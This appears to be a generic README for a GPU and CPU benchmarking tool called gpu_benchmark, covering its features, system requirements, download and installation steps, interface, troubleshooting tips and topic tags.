Welcome to the gpu_benchmark project! This framework helps you check how well your GPU and CPU perform. We support hardware from NVIDIA, AMD, and Intel. You can run benchmarks with tools like PyTorch and TensorFlow, plus see detailed reports in Allure dashboards.
- Runs benchmarks on various GPUs and CPUs.
- Generates detailed reports for performance analysis.
- Works with leading technologies: PyTorch, TensorFlow, TensorRT.
- Supports Docker and Kubernetes for easy deployment.
To get started, visit this page to download the latest version of gpu_benchmark: Download gpu_benchmark
- Operating System: Windows 10, Ubuntu 20.04 or later.
- RAM: Minimum 8 GB recommended.
- CPU: Any modern multi-core processor.
- GPU: Compatible NVIDIA, AMD, or Intel graphics card.
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Visit the Releases Page
Go to here to find the latest release. -
Download the Latest Version
Click on the version you want to download. This will direct you to the files you need. -
Install
- For Windows, run the downloaded installer and follow the prompts.
- For Linux, extract the files using your terminal and follow the included README for setup instructions.
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Run the Application
After installation, launch the application to start your benchmark tests. Follow the on-screen instructions to choose your hardware and start testing.
You will find a simple and intuitive interface:
- Main Dashboard: Displays real-time performance data.
- Benchmark Options: Choose which tests you want to run.
- Reports Section: View your results and analyze performance metrics.
The results will show how your system performs in various scenarios. You will see:
- Frame Rates: How many frames per second your hardware can handle.
- Processing Times: Time taken for different tasks.
- Comparisons: How your system stacks up against others.
If you run into issues, consider the following tips:
- Ensure that your drivers are up to date.
- Check that your system meets the requirements listed above.
- Restart the application if you experience crashes or freezes.
We welcome input and help from users. If you have questions or feedback, please open a ticket in the issues section of the repository.
With gpu_benchmark, you have a powerful tool for assessing and improving your GPU and CPU performance. Follow the steps above to download and install the application. Once you start testing, you can make informed decisions about your hardware investments.
For a seamless experience, please refer back to Download gpu_benchmark to get the latest updates.
- allure-report
- amd-gpu
- benchmark
- cpu-monitoring
- dashboard
- directml
- docker
- github-actions
- gpu-acceleration
- gpu-monitoring
- intel-gpu
- matplotlib
- nvidia-gpu
- pytest
- pytest-benchmark
- tensorrt
- torch
- torchaudio
- torchvision
Thank you for choosing gpu_benchmark for your performance evaluation needs.